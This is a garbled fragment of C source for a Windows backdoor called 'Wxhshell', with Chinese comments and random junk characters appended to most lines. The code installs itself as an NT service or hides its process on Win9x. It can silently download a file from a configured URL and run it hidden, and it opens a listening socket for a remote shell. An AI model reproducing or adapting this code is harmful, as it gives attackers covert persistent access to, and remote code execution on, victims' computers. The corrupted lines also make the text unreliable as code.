} PROCESS_BASIC_INFORMATION; 6 2:FlW>
G!T_X*^q2U
PROCNTQSIP NtQueryInformationProcess; ,>p1:pga
/@ww"dmqU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y5{Vx{V"Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m?O~(6k@C
J?C#'2/
HANDLE hProcess; n58yR -"
PROCESS_BASIC_INFORMATION pbi; Ce/l[v
CK+t6Gp
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xlcL;e&^P
if(NULL == hInst ) return 0; 3\}>nE
gNHS:k\"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FG!2h&k
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nEt{ltsS0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I>EEUQR/$H
^UCH+Cyl
if (!NtQueryInformationProcess) return 0; G^|!'V
6gs0Vm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6Ki!j<
if(!hProcess) return 0; [H[L};%=j
KAJR.YNm
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R53^3"q~
)b?$
4<X^
CloseHandle(hProcess); + 70x0z2
\Up~"q>Kb
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b4qMTRnv
if(hProcess==NULL) return 0; YP
Qix
S6g_$Q7
HMODULE hMod; ?$K.*])e
char procName[255]; eDsB.^|l
unsigned long cbNeeded; B[3u,<opFU
xtBu]I)%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?W>`skQ
}K^v Ujl
CloseHandle(hProcess); L}
"bp
u69UUkG
if(strstr(procName,"services")) return 1; // 以服务启动 VOJ/I Dl 4
#;[0:jU0
return 0; // 注册表启动 s:k?-u@
} #w3J+U 6r
< 1%}8t"
// 主模块 }Y^o("c(
int StartWxhshell(LPSTR lpCmdLine) Q=61.lP6
{ = GyABK
SOCKET wsl; h,?%,GI
BOOL val=TRUE;
OqWm5(u&S
int port=0; Lf)JO|o
struct sockaddr_in door; d#OAM;0}5
d_,Ql708f
if(wscfg.ws_autoins) Install(); +%f6{&q$
b"aF-,M>
port=atoi(lpCmdLine); hFo29oN
A`#?Bj
if(port<=0) port=wscfg.ws_port; riL|B3
KL6B!B{;
WSADATA data; 2!6E~<~HC
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d>?C?F
O/U? Wq
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; HSWki';G
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {+m8^-T
door.sin_family = AF_INET; UEx13!iFo
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1>uAVPa
door.sin_port = htons(port); -g."{|
TQu.jC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X}xf_3N
"
closesocket(wsl);
wz)s
return 1; gW<6dP'v
} otdRz<C
Gy[anDE&
if(listen(wsl,2) == INVALID_SOCKET) { D>8p:^3g
closesocket(wsl); O,Tp,wT
return 1; q9dplEe5
} {i+
o'Lw
Wxhshell(wsl); {sf
,(.W
WSACleanup(); gxhdxSm=2
+HPcvu?1
return 0; R `Fgne$4
Zf1
uK(6X
} #IZ.px
ZH|q#<{l
// 以NT服务方式启动 oNIYO*[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) < =~=IZ)
{ F3qCtx*N
DWORD status = 0; /* qx5$~
DWORD specificError = 0xfffffff; H[nco#
tkH]_cH'w
serviceStatus.dwServiceType = SERVICE_WIN32; _|4R^*/4
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /@|iI<|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nw\C+1F
serviceStatus.dwWin32ExitCode = 0; }AA">FF'y4
serviceStatus.dwServiceSpecificExitCode = 0; ,p3]`MG
serviceStatus.dwCheckPoint = 0; I-/>M/66
serviceStatus.dwWaitHint = 0; 4Z>gK(
sfip AM
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qFK.ULgP`
if (hServiceStatusHandle==0) return; ht*(@MCr<
\i/HHP[%
status = GetLastError(); =%<,
^2o
if (status!=NO_ERROR) eM{u>n+`F0
{ "AZ|u#0P
serviceStatus.dwCurrentState = SERVICE_STOPPED; !qp$Xtf+
serviceStatus.dwCheckPoint = 0; 7)]boW~Q
serviceStatus.dwWaitHint = 0; AmHj\NX$
serviceStatus.dwWin32ExitCode = status; P
JATRJ1.
serviceStatus.dwServiceSpecificExitCode = specificError; _7\`xU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sQ340!
return; aoZ |@x
} g<(!>:h
>O<a9wz
serviceStatus.dwCurrentState = SERVICE_RUNNING; l;KrFJ6
serviceStatus.dwCheckPoint = 0; }A+ncabm
serviceStatus.dwWaitHint = 0; #2s}s<Sc;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZM})l9_o"
} c+&Kq.~K
?$K-f:?c
// 处理NT服务事件,比如:启动、停止 zt:
!hM/Vt
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZT@=d$Z&t
{ nhdZC@~E0
switch(fdwControl) -N% V5 TN
{ F \ls]luN
case SERVICE_CONTROL_STOP: ]:#=[CH
serviceStatus.dwWin32ExitCode = 0; J/jkb3
serviceStatus.dwCurrentState = SERVICE_STOPPED; /6Q]f
serviceStatus.dwCheckPoint = 0; )2RRa^=&
serviceStatus.dwWaitHint = 0; cz,QP'g
{ ]7 Du/)$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cyd/HTNh<
} sWo}Xq#
return; <#ON
case SERVICE_CONTROL_PAUSE: ;YR/7
serviceStatus.dwCurrentState = SERVICE_PAUSED; Gn=b_!
break;
NdRcA
case SERVICE_CONTROL_CONTINUE: _,!0_\+i
serviceStatus.dwCurrentState = SERVICE_RUNNING; e2v`
break; {daX?N|V
case SERVICE_CONTROL_INTERROGATE: #%Bt!#
break; L~-/'+
}; pDZewb&cA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m_*wqNFA6
} z`IW[N7Z
uDie205
// 标准应用程序主函数 /M%>M]
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,IyQmN y
{ (ne[a2%>
{iX#
// 获取操作系统版本 ".
tW5O>
OsIsNt=GetOsVer(); |dLr #+'az
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2PYn zAsl
;O%
H]oN
// 从命令行安装 \KnRQtlI
if(strpbrk(lpCmdLine,"iI")) Install(); TdgK.g 4
O\.^H/
// 下载执行文件 %h@1lsm1+
if(wscfg.ws_downexe) { F|eWHw?t
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @Suz-j(H
WinExec(wscfg.ws_filenam,SW_HIDE); T/g\v?>
} Tk?uJIS :
.*x:
if(!OsIsNt) { w[
v{)
// 如果时win9x,隐藏进程并且设置为注册表启动 9^W7i]-Z
HideProc(); S[exnZ*Y
StartWxhshell(lpCmdLine);
I8?
} 0WC\uxT7
else S~);
if(StartFromService()) }yK7LooM
// 以服务方式启动 x6`mv8~9Db
StartServiceCtrlDispatcher(DispatchTable); HP.=6bJWi
else R>O_2`c
// 普通方式启动 H[u9C:}9b
StartWxhshell(lpCmdLine); c'i5,\ #X
gSwV:hm
return 0; fgd2jr3T
}